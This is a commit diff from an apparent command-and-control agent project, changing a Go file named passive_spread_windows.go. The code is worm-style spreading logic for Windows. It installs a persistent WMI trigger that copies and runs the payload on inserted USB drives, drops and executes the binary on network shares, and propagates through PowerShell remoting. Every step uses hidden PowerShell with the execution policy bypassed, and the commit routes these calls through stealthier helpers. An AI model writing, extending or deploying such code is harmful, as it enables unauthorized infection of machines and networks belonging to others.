drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

Browse Source
This commit is contained in:
AetherForge
2026-06-02 20:51:52 -07:00
parent 01d76b3730
commit 41b5ec7a88
66 changed files with 1773 additions and 388 deletions
Download Patch File Download Diff File Expand all files Collapse all files

20
agent/deploy/passive_spread_windows.go
View File

@@ -8,7 +8,6 @@ import (
"math/rand"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"sync"
@@ -210,8 +209,7 @@ $lnk.Save()
strings.ReplaceAll(lnkPath, `'`, `''`),
strings.ReplaceAll(destBin, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
}
// -----------------------------------------------------------------------
@@ -227,10 +225,11 @@ func installWMIUSBTrigger(cfg config.RuntimeConfig) {
}
destName := usbPayloadName(cfg)
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & "%%TargetInstance.DriveLetter%%\\%s" %s`,
strings.ReplaceAll(exePath, `"`, `\"`),
destName,
destName,
runFlag,
)
// Escape single-quotes for PowerShell string embedding
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
@@ -274,8 +273,7 @@ Copy-Item '%s' $dest -Force -EA SilentlyContinue
exePathPS,
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
}
// Non-admin failure is expected and harmless; polling still covers it.
@@ -331,10 +329,7 @@ func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
return
}
log.Printf("[passive-spread] dropped to share %s", dest)
// Try to execute it via a UNC path
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
applyDetachedStart(cmd)
_ = cmd.Start()
_ = HiddenStart(dest, runFlag)
}
func sharePayloadName(cfg config.RuntimeConfig) string {
@@ -348,7 +343,7 @@ func sharePayloadName(cfg config.RuntimeConfig) string {
// listNetUse parses `net use` output and returns active UNC paths.
func listNetUse() []string {
out, err := exec.Command("net", "use").Output()
out, err := HiddenOutput("net", "use")
if err != nil {
return nil
}
@@ -434,8 +429,7 @@ if ($s) {
Remove-PSSession $s -EA SilentlyContinue
}
`, target, scriptBlock)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
if err := cmd.Run(); err == nil {
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
}
}